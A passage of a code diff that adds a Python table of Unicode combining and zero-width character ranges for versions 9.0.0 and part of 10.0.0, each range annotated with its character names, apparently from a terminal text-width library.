Mahajani Sign Nukta ..Mahajani Sign Nukta + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x111ca, 0x111cc,), # Sharada Sign Nukta ..Sharada Extra Short Vowe + (0x1122f, 0x11231,), # Khojki Vowel Sign U ..Khojki Vowel Sign Ai + (0x11234, 0x11234,), # Khojki Sign Anusvara ..Khojki Sign Anusvara + (0x11236, 0x11237,), # Khojki Sign Nukta ..Khojki Sign Shadda + (0x112df, 0x112df,), # Khudawadi Sign Anusvara ..Khudawadi Sign Anusvara + (0x112e3, 0x112ea,), # Khudawadi Vowel Sign U ..Khudawadi Sign Virama + (0x11300, 0x11301,), # Grantha Sign Combining A..Grantha Sign Candrabindu + (0x1133c, 0x1133c,), # Grantha Sign Nukta ..Grantha Sign Nukta + (0x11340, 0x11340,), # Grantha Vowel Sign Ii ..Grantha Vowel Sign Ii + (0x11366, 0x1136c,), # Combining Grantha Digit ..Combining Grantha Digit + (0x11370, 0x11374,), # Combining Grantha Letter..Combining Grantha Letter + (0x114b3, 0x114b8,), # Tirhuta Vowel Sign U ..Tirhuta Vowel Sign Vocal + (0x114ba, 0x114ba,), # Tirhuta Vowel Sign Short..Tirhuta Vowel Sign Short + (0x114bf, 0x114c0,), # Tirhuta Sign Candrabindu..Tirhuta Sign Anusvara + (0x114c2, 0x114c3,), # Tirhuta Sign Virama ..Tirhuta Sign Nukta + (0x115b2, 0x115b5,), # Siddham Vowel Sign U ..Siddham Vowel Sign Vocal + (0x115bc, 0x115bd,), # Siddham Sign Candrabindu..Siddham Sign Anusvara + (0x115bf, 0x115c0,), # Siddham Sign Virama ..Siddham Sign Nukta + (0x115dc, 0x115dd,), # Siddham Vowel Sign Alter..Siddham Vowel Sign Alter + (0x11633, 0x1163a,), # Modi Vowel Sign U ..Modi Vowel Sign Ai + (0x1163d, 0x1163d,), # Modi Sign Anusvara ..Modi Sign Anusvara + (0x1163f, 0x11640,), # Modi Sign Virama ..Modi Sign Ardhacandra + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x1171d, 0x1171f,), # Ahom Consonant Sign Medi..Ahom Consonant Sign Medi + (0x11722, 0x11725,), # Ahom Vowel Sign I ..Ahom Vowel Sign Uu + (0x11727, 0x1172b,), # Ahom Vowel Sign Aw ..Ahom Sign Killer + (0x16af0, 0x16af4,), # Bassa Vah Combining High..Bassa Vah Combining High + (0x16b30, 0x16b36,), # Pahawh Hmong Mark Cim Tu..Pahawh Hmong Mark Cim Ta + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1bc9d, 0x1bc9e,), # Duployan Thick Letter Se..Duployan Double Mark + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0x1da00, 0x1da36,), # Signwriting Head Rim ..Signwriting Air Sucking + (0x1da3b, 0x1da6c,), # Signwriting Mouth Closed..Signwriting Excitement + (0x1da75, 0x1da75,), # Signwriting Upper Body T..Signwriting Upper Body T + (0x1da84, 0x1da84,), # Signwriting Location Hea..Signwriting Location Hea + (0x1da9b, 0x1da9f,), # Signwriting Fill Modifie..Signwriting Fill Modifie + (0x1daa1, 0x1daaf,), # Signwriting Rotation Mod..Signwriting Rotation Mod + (0x1e8d0, 0x1e8d6,), # Mende Kikakui Combining ..Mende Kikakui Combining + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '9.0.0': ( + # Source: DerivedGeneralCategory-9.0.0.txt + # Date: 2016-06-01, 10:34:26 GMT + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008d4, 0x008e1,), # Arabic Small High Word A..Arabic Small High Sign S + (0x008e3, 0x00902,), # Arabic Turned Damma Belo..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c00, 0x00c00,), # Telugu Sign Combining Ca..Telugu Sign Combining Ca + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00c81, 0x00c81,), # Kannada Sign Candrabindu..Kannada Sign Candrabindu + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d01, 0x00d01,), # Malayalam Sign Candrabin..Malayalam Sign Candrabin + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x01885, 0x01886,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a1b, 0x01a1b,), # Buginese Vowel Sign Ae ..Buginese Vowel Sign Ae + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01ab0, 0x01abe,), # Combining Doubled Circum..Combining Parentheses Ov + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bad,), # Sundanese Sign Virama ..Sundanese Consonant Sign + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01cf8, 0x01cf9,), # Vedic Tone Ring Above ..Vedic Tone Double Ring A + (0x01dc0, 0x01df5,), # Combining Dotted Grave A..Combining Up Tack Above + (0x01dfb, 0x01dff,), # Combining Deletion Mark ..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69e, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c5,), # Saurashtra Sign Virama ..Saurashtra Sign Candrabi + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0a9e5, 0x0a9e5,), # Myanmar Sign Shan Saw ..Myanmar Sign Shan Saw + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa7c, 0x0aa7c,), # Myanmar Sign Tai Laing T..Myanmar Sign Tai Laing T + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe2f,), # Combining Ligature Left ..Combining Cyrillic Titlo + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x102e0, 0x102e0,), # Coptic Epact Thousands M..Coptic Epact Thousands M + (0x10376, 0x1037a,), # Combining Old Permic Let..Combining Old Permic Let + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x10ae5, 0x10ae6,), # Manichaean Abbreviation ..Manichaean Abbreviation + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x1107f, 0x11081,), # Brahmi Number Joiner ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11173, 0x11173,), # Mahajani Sign Nukta ..Mahajani Sign Nukta + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x111ca, 0x111cc,), # Sharada Sign Nukta ..Sharada Extra Short Vowe + (0x1122f, 0x11231,), # Khojki Vowel Sign U ..Khojki Vowel Sign Ai + (0x11234, 0x11234,), # Khojki Sign Anusvara ..Khojki Sign Anusvara + (0x11236, 0x11237,), # Khojki Sign Nukta ..Khojki Sign Shadda + (0x1123e, 0x1123e,), # Khojki Sign Sukun ..Khojki Sign Sukun + (0x112df, 0x112df,), # Khudawadi Sign Anusvara ..Khudawadi Sign Anusvara + (0x112e3, 0x112ea,), # Khudawadi Vowel Sign U ..Khudawadi Sign Virama + (0x11300, 0x11301,), # Grantha Sign Combining A..Grantha Sign Candrabindu + (0x1133c, 0x1133c,), # Grantha Sign Nukta ..Grantha Sign Nukta + (0x11340, 0x11340,), # Grantha Vowel Sign Ii ..Grantha Vowel Sign Ii + (0x11366, 0x1136c,), # Combining Grantha Digit ..Combining Grantha Digit + (0x11370, 0x11374,), # Combining Grantha Letter..Combining Grantha Letter + (0x11438, 0x1143f,), # Newa Vowel Sign U ..Newa Vowel Sign Ai + (0x11442, 0x11444,), # Newa Sign Virama ..Newa Sign Anusvara + (0x11446, 0x11446,), # Newa Sign Nukta ..Newa Sign Nukta + (0x114b3, 0x114b8,), # Tirhuta Vowel Sign U ..Tirhuta Vowel Sign Vocal + (0x114ba, 0x114ba,), # Tirhuta Vowel Sign Short..Tirhuta Vowel Sign Short + (0x114bf, 0x114c0,), # Tirhuta Sign Candrabindu..Tirhuta Sign Anusvara + (0x114c2, 0x114c3,), # Tirhuta Sign Virama ..Tirhuta Sign Nukta + (0x115b2, 0x115b5,), # Siddham Vowel Sign U ..Siddham Vowel Sign Vocal + (0x115bc, 0x115bd,), # Siddham Sign Candrabindu..Siddham Sign Anusvara + (0x115bf, 0x115c0,), # Siddham Sign Virama ..Siddham Sign Nukta + (0x115dc, 0x115dd,), # Siddham Vowel Sign Alter..Siddham Vowel Sign Alter + (0x11633, 0x1163a,), # Modi Vowel Sign U ..Modi Vowel Sign Ai + (0x1163d, 0x1163d,), # Modi Sign Anusvara ..Modi Sign Anusvara + (0x1163f, 0x11640,), # Modi Sign Virama ..Modi Sign Ardhacandra + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x1171d, 0x1171f,), # Ahom Consonant Sign Medi..Ahom Consonant Sign Medi + (0x11722, 0x11725,), # Ahom Vowel Sign I ..Ahom Vowel Sign Uu + (0x11727, 0x1172b,), # Ahom Vowel Sign Aw ..Ahom Sign Killer + (0x11c30, 0x11c36,), # Bhaiksuki Vowel Sign I ..Bhaiksuki Vowel Sign Voc + (0x11c38, 0x11c3d,), # Bhaiksuki Vowel Sign E ..Bhaiksuki Sign Anusvara + (0x11c3f, 0x11c3f,), # Bhaiksuki Sign Virama ..Bhaiksuki Sign Virama + (0x11c92, 0x11ca7,), # Marchen Subjoined Letter..Marchen Subjoined Letter + (0x11caa, 0x11cb0,), # Marchen Subjoined Letter..Marchen Vowel Sign Aa + (0x11cb2, 0x11cb3,), # Marchen Vowel Sign U ..Marchen Vowel Sign E + (0x11cb5, 0x11cb6,), # Marchen Sign Anusvara ..Marchen Sign Candrabindu + (0x16af0, 0x16af4,), # Bassa Vah Combining High..Bassa Vah Combining High + (0x16b30, 0x16b36,), # Pahawh Hmong Mark Cim Tu..Pahawh Hmong Mark Cim Ta + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1bc9d, 0x1bc9e,), # Duployan Thick Letter Se..Duployan Double Mark + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0x1da00, 0x1da36,), # Signwriting Head Rim ..Signwriting Air Sucking + (0x1da3b, 0x1da6c,), # Signwriting Mouth Closed..Signwriting Excitement + (0x1da75, 0x1da75,), # Signwriting Upper Body T..Signwriting Upper Body T + (0x1da84, 0x1da84,), # Signwriting Location Hea..Signwriting Location Hea + (0x1da9b, 0x1da9f,), # Signwriting Fill Modifie..Signwriting Fill Modifie + (0x1daa1, 0x1daaf,), # Signwriting Rotation Mod..Signwriting Rotation Mod + (0x1e000, 0x1e006,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e008, 0x1e018,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e01b, 0x1e021,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e023, 0x1e024,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e026, 0x1e02a,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e8d0, 0x1e8d6,), # Mende Kikakui Combining ..Mende Kikakui Combining + (0x1e944, 0x1e94a,), # Adlam Alif Lengthener ..Adlam Nukta + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '10.0.0': ( + # Source: DerivedGeneralCategory-10.0.0.txt + # Date: 2017-03-08, 08:41:49 GMT + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew 